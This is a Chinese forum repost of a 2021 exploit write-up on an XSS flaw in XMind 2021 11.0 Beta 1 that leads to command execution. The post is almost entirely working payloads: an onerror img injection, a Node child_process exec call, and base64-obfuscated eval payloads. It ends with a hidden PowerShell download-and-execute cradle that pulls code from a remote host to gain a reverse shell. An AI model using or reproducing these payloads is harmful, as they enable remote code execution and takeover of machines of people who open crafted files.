搜索

[20598] 2021-05-11_XMind202111.0Beta1XSS漏洞导致命令执行

文档创建者：s7ckTeam
浏览次数：57
最后更新：2025-01-18
2021-05-11_XMind202111.0Beta1XSS漏洞导致命令执行 X M i n d   2 0 2 1   1 1 . 0   B e t a   1   X S S 漏 洞 导 致 命 令 执 行   ​ 忍 者   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 5 - 1 1 漏 洞 利 用 方 式 ：   选 择 事 件 型 X S S 需 要 附 带 o n e r r o r 事 件 ， 比 如 i m g 、 a u d i o 等 。   弹 窗 代 码 ：   < i m g   s r c = x   o n e r o r = a l e r t ( 1 ) >   构 造 命 令 执 行 p a y l o a d   r e q u i r e ( ' c h i l d _ p r o c e s s ' ) . e x e c ( ' i p c o n f i g / a l l ' , ( e r r o r ,   s t d o u t ,   s t d e r r ) = > {       a l e r t ( ` s t d o u t :   $ { s t d o u t } ` ) ;     } ) ;   最 终 利 用 代 码 ：   < i m g   s r c = # o n e r r o r = ' e v a l ( n e w B u f f e r ( ` c m V x d W l y Z S g n Y 2 h p b G R f c H J v Y 2 V z c y c p L m V 4 Z W M o J 2 l w Y 2 9 u Z m l n I C 9 h b G w n L C h l c n J v c i w g c 3 R k b 3 V 0 L C B z d G R l c n I p P T 5 7 C i A g I C B h b G V y d C h g c 3 R k b 3 V 0 O i A k e 3 N 0 Z G 9 1 d H 1 g K T s K I C B 9 K T s = ` , ` b a s e 6 4 ` ) . t o S t r i n g ( ) ) ' >   反 弹 s h e l l 命 令   C S 生 成 p o w e r s h e l l 脚 本     p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X ( ( n e w - o b j e c t n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 2 7 . 0 . 0 . 1 / t e s t / ' ) ) "   r e q u i r e ( ' c h i l d _ p r o c e s s ' ) . e x e c ( ' p o w e r s h e l l . e x e - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 2 7 . 0 . 0 . 1 / t e s t ' ) ) " ' , ( e r r o r , s t d o u t ,   s t d e r r ) = > {       a l e r t ( ` s t d o u t :   $ { s t d o u t } ` ) ;     } ) ;   c m V x d W l y Z S g n Y 2 h p b G R f c H J v Y 2 V z c y c p L m V 4 Z W M o J 3 B v d 2 V y c 2 h l b G w u Z X h l I C 1 u b 3 A g L X c g a G l k Z G V u I C 1 j I C J J R V g g K C h u Z X c t b 2 J q Z W N 0 I G 5 l d C 5 3 Z W J j b G l l b n Q p L m R v d 2 5 s b 2 F k c 3 R y a W 5 n K F w n a H R 0 c D o v L z E 5 M i 4 x N j g u N z I u M T I 5 O j g w O D E v Y W J j Z G V c J y k p I i c s K G V y c m 9 y L C B z d G R v d X Q s I H N 0 Z G V y c i k 9 P n s K I C A g I G F s Z X J 0 K G B z d G R v d X Q 6 I C R 7 c 3 R k b 3 V 0 f W A p O w o g I H 0 p O w = =   < i m g   s r c = #   o n e r r o r = ' e v a l ( n e w B u f f e r ( ` c m V x d W l y Z S g n Y 2 h p b G R f c H J v Y 2 V z c y c p L m V 4 Z W M o J 3 B v d 2 V y c 2 h l b G w u Z X h l I C 1 u b 3 A g L X c g a G l k Z G V u I C 1 j I C J J R V g g K C h u Z X c t b 2 J q Z W N 0 I G 5 l d C 5 3 Z W J j b G l l b n Q p L m R v d 2 5 s b 2 F k c 3 R y a W 5 n K F w n a H R 0 c D o v L z E 5 M i 4 x N j g u N z I u M T I 5 O j g w O D E v Y W J j Z G V c J y k p I i c s K G V y c m 9 y L C B z d G R v d X Q s I H N 0 Z G V y c i k 9 P n s K I C A g I G F s Z X J 0 K G B z d G R v d X Q 6 I C R 7 c 3 R k b 3 V 0 f W A p O w o g I H 0 p O w = = ` , ` b a s e 6 4 ` ) . t o S t r i n g ( ) ) '

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理